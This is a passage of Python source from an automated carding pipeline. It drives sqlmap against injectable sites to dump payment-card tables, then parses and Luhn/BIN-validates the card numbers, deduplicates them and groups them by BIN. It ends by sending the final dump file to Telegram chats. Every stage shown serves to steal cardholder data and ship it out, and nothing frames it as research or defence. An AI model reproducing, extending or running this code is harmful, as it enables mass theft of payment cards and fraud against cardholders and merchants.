        stage="sqli"
    )

```

python

```

"""Stage 3 – database dumping. enumerate dbs, tables, columns, extract card data."""
from pathlib import Path
import re
from modules.utils import run, which
from modules.notifier import Notifier

class Dumper:
    def __init__(self, cfg, logger):
        self.cfg = cfg
        self.log = logger
        self.raw = Path(cfg["paths"]["raw"])
        self.dumps = Path(cfg["paths"]["dumps"])
        self.rc = cfg["dump"]
        self.sq = cfg["sqli"]

    def _base_cmd(self, targets_file: Path):
        cmd = [
            self.sq["sqlmap_bin"],
            "-m", str(targets_file),
            "--batch",
            f"--output-dir={self.dumps}",
        ]
        if self.sq.get("random_agent"):
            cmd.append("--random-agent")
        return cmd

    def run(self):
        targets_file = self.raw / "injectable.txt"
        if not targets_file.exists() or not targets_file.read_text().strip():
            self.log.error("[dumper] no injectable.txt")
            return

        if not which(self.sq["sqlmap_bin"]):
            self.log.error("[dumper] sqlmap not found")
            return

        self._dump_db()
        self._dump_tables()

        Notifier(self.cfg, self.log).send(
            f"[dump done]* – check data/dumps/",
            stage="dump"
        )

    def _dump_db(self):
        cmd = self._base_cmd(self.raw / "injectable.txt")
        cmd.append(f"-D{self.rc['target_db']}")
        cmd.append("-Tcards")
        cmd.append("--dump")
        for col in self.rc["dump_columns"]:
            cmd.append(f"-C{col}")
        self.log.info(f"[dumper] dumping {self.rc['target_db']}.cards")
        rc, out, err = run(cmd, logger=self.log)
        self.log.info(f"[dumper] dump rc={rc}")

    def _dump_tables(self):
        # discover tables matching card pattern
        cmd = self._base_cmd(self.raw / "injectable.txt")
        cmd.append(f"-D{self.rc['target_db']}")
        cmd.append("--tables")
        rc, out, err = run(cmd, logger=self.log)

```

```
if rc != 0:
    return
pattern = re.compile(self.rc["card_tables_regex"], re.I)
tables = [t.strip() for t in out.splitlines() if pattern.search(t)]
self.log.info(f"[dumper] matched {len(tables)} card-bearing tables")

for table in tables:
    cmd = self._base_cmd(self.raw / "injectable.txt")
    cmd.append(f"-D{self.rc['target_db']}")
    cmd.append(f"-T{table}")
    cmd.append("--dump")
    self.log.info(f"[dumper] dumping table: {table}")
    run(cmd, logger=self.log)
```

python

```

"""Stage 4 – parse raw dumps into structured records."""
import csv
import re
from pathlib import Path
from modules.notifier import Notifier

CARD_RE = re.compile(r'(?:\d[ -]*?){13,19}')
EXP_RE = re.compile(r'\b(0[1-9]|1[0-2])[/\-\s]?(\d{2}|\d{4})\b')

class Extractor:
    def __init__(self, cfg, logger):
        self.cfg = cfg
        self.log = logger
        self.dumps = Path(cfg["paths"]["dumps"])
        self.raw = Path(cfg["paths"]["raw"])
        self.exts = tuple(cfg["extract"]["extensions"])

    def run(self):
        out_file = self.raw / "parsed.csv"
        records = []
        for f in self.dumps.rglob("*"):
            if f.is_file() and f.suffix.lower() in self.exts:
                records.extend(self._parse_file(f))
        with out_file.open("w", newline="") as fh:
            w = csv.DictWriter(fh, fieldnames=["card", "raw_line", "source"])
            w.writeheader()
            w.writerows(records)
        self.log.info(f"[extract] {len(records)} candidates -> {out_file}")

        Notifier(self.cfg, self.log).send(
            f"*[extract done]*\ncandidates: {len(records)}",
            stage="parse"
        )

    def _parse_file(self, path: Path):
        out = []
        try:
            text = path.read_text(errors="ignore")
        except Exception:
            return out
        for line in text.splitlines():
            for match in CARD_RE.findall(line):
                digits = re.sub(r'\D', '', match)
                if 13 <= len(digits) <= 19:
                    out.append({
                        "card": digits,
                        "raw_line": line.strip()[:200],
                        "source": str(path),
                    })
        return out

```

python

```

"""Stage 5 – Luhn + BIN validation."""
import csv
import re
from pathlib import Path
from modules.notifier import Notifier

CARD_PATTERNS = {
    "visa": (r"^4", [13, 16, 19]),
    "mastercard": (r"^(5[1-5]|2[2-7])", [16]),
    "amex": (r"^3[47]", [15]),
    "discover": (r"^6(?:011|5|4[4-9]|22)", [16, 19]),
    "jcb": (r"^35", [16, 19]),
    "diners": (r"^3(?:0[0-5]|[68])", [14]),
    "unionpay": (r"^62", [16, 17, 18, 19]),
}

def luhn_check(card: str) -> bool:
    digits = [int(d) for d in card]
    parity = len(digits) % 2
    total = 0
    for i, d in enumerate(digits):
        if i % 2 == parity:
            d *= 2
            if d > 9:
                d -= 9
            total += d
    return total % 10 == 0

def detect_brand(card: str):
    for brand, (pat, lengths) in CARD_PATTERNS.items():
        if re.match(pat, card) and len(card) in lengths:
            return brand
    return None

class Validator:
    def __init__(self, cfg, logger):
        self.cfg = cfg
        self.log = logger
        self.raw = Path(cfg["paths"]["raw"])
        self.vc = cfg["validate"]

    def run(self):
        in_file = self.raw / "parsed.csv"
        if not in_file.exists():
            self.log.error("[validate] no parsed.csv")
            return

        out_file = self.raw / "validated.csv"
        valid, rejected = [], 0
        kill_file = self.raw / ".kill"

        with in_file.open() as f:
            reader = csv.DictReader(f)
            for n, row in enumerate(reader, 1):
                if n % 2000 == 0 and kill_file.exists():
                    kill_file.unlink(missing_ok=True)
                    self.log.warning(
                        f"[validate] /kill at row {n} – partial flush")
                    break

```

```

        card = re.sub(r'\D', '', row.get("card", ""))
        if not (self.vc["min_length"] <= len(card) <= self.vc["max_length"]):
            rejected += 1
            continue
        brand = detect_brand(card) if self.vc["bin_check"] else "unknown"
        if not brand:
            rejected += 1
            continue
        if self.vc["luhn"] and not luhn_check(card):
            rejected += 1
            continue
        row["card"] = card
        row["brand"] = brand
        valid.append(row)

    with out_file.open("w", newline="") as f:
        w = csv.DictWriter(f, fieldnames=["card", "brand", "raw_line", "source"])
        w.writeheader()
        w.writerows(valid)
    self.log.info(f"[validate] valid={len(valid)} rejected={rejected} -> {out_file}")

    Notifier(self.cfg, self.log).send(
        f"*[validate done]*\nvalid: {len(valid)}\nrejected: {rejected}",
        stage="validate"
    )

```

python

```

"""Stage 6 – deduplication + BIN grouping."""
import csv
from pathlib import Path
from modules.notifier import Notifier

class Deduper:
    def __init__(self, cfg, logger):
        self.cfg = cfg
        self.log = logger
        self.raw = Path(cfg["paths"]["raw"])
        self.dc = cfg["dedupe"]

    def run(self):
        in_file = self.raw / "validated.csv"
        if not in_file.exists():
            self.log.error("[dedupe] no validated.csv")
            return

        out_file = self.raw / "final.csv"
        seen = set()
        unique = []
        bins = {}
        kill_file = self.raw / ".kill"

        with in_file.open() as f:
            reader = csv.DictReader(f)
            for n, row in enumerate(reader, 1):
                if n % 2000 == 0 and kill_file.exists():
                    kill_file.unlink(missing_ok=True)
                    self.log.warning(
                        f"[dedupe] /kill at row {n} – partial flush")
                    break
                card = row["card"]
                if card in seen:
                    continue
                seen.add(card)
                unique.append(row)
                b = card[:6]
                bins[b] = bins.get(b, 0) + 1

        with out_file.open("w", newline="") as f:
            w = csv.DictWriter(f, fieldnames=["card", "brand", "raw_line", "source"])
            w.writeheader()
            w.writerows(unique)

        self.log.info(f"[dedupe] unique={len(unique)} -> {out_file}")

        if self.dc.get("bin_report"):
            bin_file = self.raw / "bin_report.csv"
            with bin_file.open("w", newline="") as f:
                w = csv.writer(f)
                w.writerow(["bin", "count"])
                for b, c in sorted(bins.items(), key=lambda x: -x[1]):
                    w.writerow([b, c])
            self.log.info(f"[dedupe] bin report -> {bin_file}")

        Notifier(self.cfg, self.log).send(
            f"*[dedupe done]*\nunique: {len(unique)}",
            stage="dedupe"
        )

```

python

```

"""Stage 7 – emit final records in configured formats."""
import csv
import json
from pathlib import Path
from modules.notifier import Notifier

class OutputWriter:
    def __init__(self, cfg, logger):
        self.cfg = cfg
        self.log = logger
        self.raw = Path(cfg["paths"]["raw"])
        self.final = Path(cfg["paths"]["final"])
        self.oc = cfg["output"]

    def run(self):
        in_file = self.raw / "final.csv"
        if not in_file.exists():
            self.log.error("[output] no final.csv")
            return

        rows = list(csv.DictReader(in_file.open()))
        base = self.final / self.oc["base_name"]

        if "txt" in self.oc["formats"]:
            with (base.with_suffix(".txt")).open("w") as f:
                for r in rows:
                    f.write(f'{r["card"]}\n')

        if "csv" in self.oc["formats"]:
            with (base.with_suffix(".csv")).open("w", newline="") as f:
                w = csv.DictWriter(f, fieldnames=["card", "brand", "raw_line", "source"])
                w.writeheader()
                w.writerows(rows)

        if "json" in self.oc["formats"]:
            with (base.with_suffix(".json")).open("w") as f:
                json.dump(rows, f, indent=2)

        self.log.info(f"[output] {len(rows)} records exported -> {base}")

        n = Notifier(self.cfg, self.log)
        n.send(f"*[output done]*\nrecords: {len(rows)}", stage="output")
        n.send_file(str(base.with_suffix(".txt")), caption="final dump")

```

python

```

"""telegram notifier – sends stage updates to allowed chats."""
import re
import requests

def _valid_token(token: str) -> bool:
    return bool(re.match(r"^\d+:[\w-]+$", token or ""))

class Notifier:
    def __init__(self, cfg, logger):
        self.cfg = cfg
        self.log = logger
        tg = cfg.get("telegram", {})
        self.enabled = tg.get("enabled") and _valid_token(tg.get("token", ""))
        self.token = tg.get("token", "")
        self.chats = tg.get("allowed_chat_ids", [])
        self.notify_stages = tg.get("notify_stages", True)
        self.base = f"https://api.telegram.org/bot{self.token}"

    def send(self, text: str, stage: str = None):
        if not self.enabled:
            return
        if stage and not self.notify_stages:
            return
        for chat in self.chats:
            try:
                r = requests.post(
                    f"{self.base}/sendMessage",
                    json={"chat_id": chat, "text": text, "parse_mode": "Markdown"},
                    timeout=30,
                )
                if r.status_code != 200:
                    self.log.warning(f"[notify] failed {r.status_code}: {r.text[:120]}")
            except Exception as e:
                self.log.warning(f"[notify] exception: {e}")

    def send_file(self, path: str, caption: str = ""):
        if not self.enabled:
            return
        for chat in self.chats:
            try:
                with open(path, "rb") as f:
                    requests.post(
                        f"{self.base}/sendDocument",
                        data={"chat_id": chat, "caption": caption},
                        files={"document": f},
                        timeout=30,
                    )
            except Exception as e:
                self.log.warning(f"[notify] file send failed: {e}")

```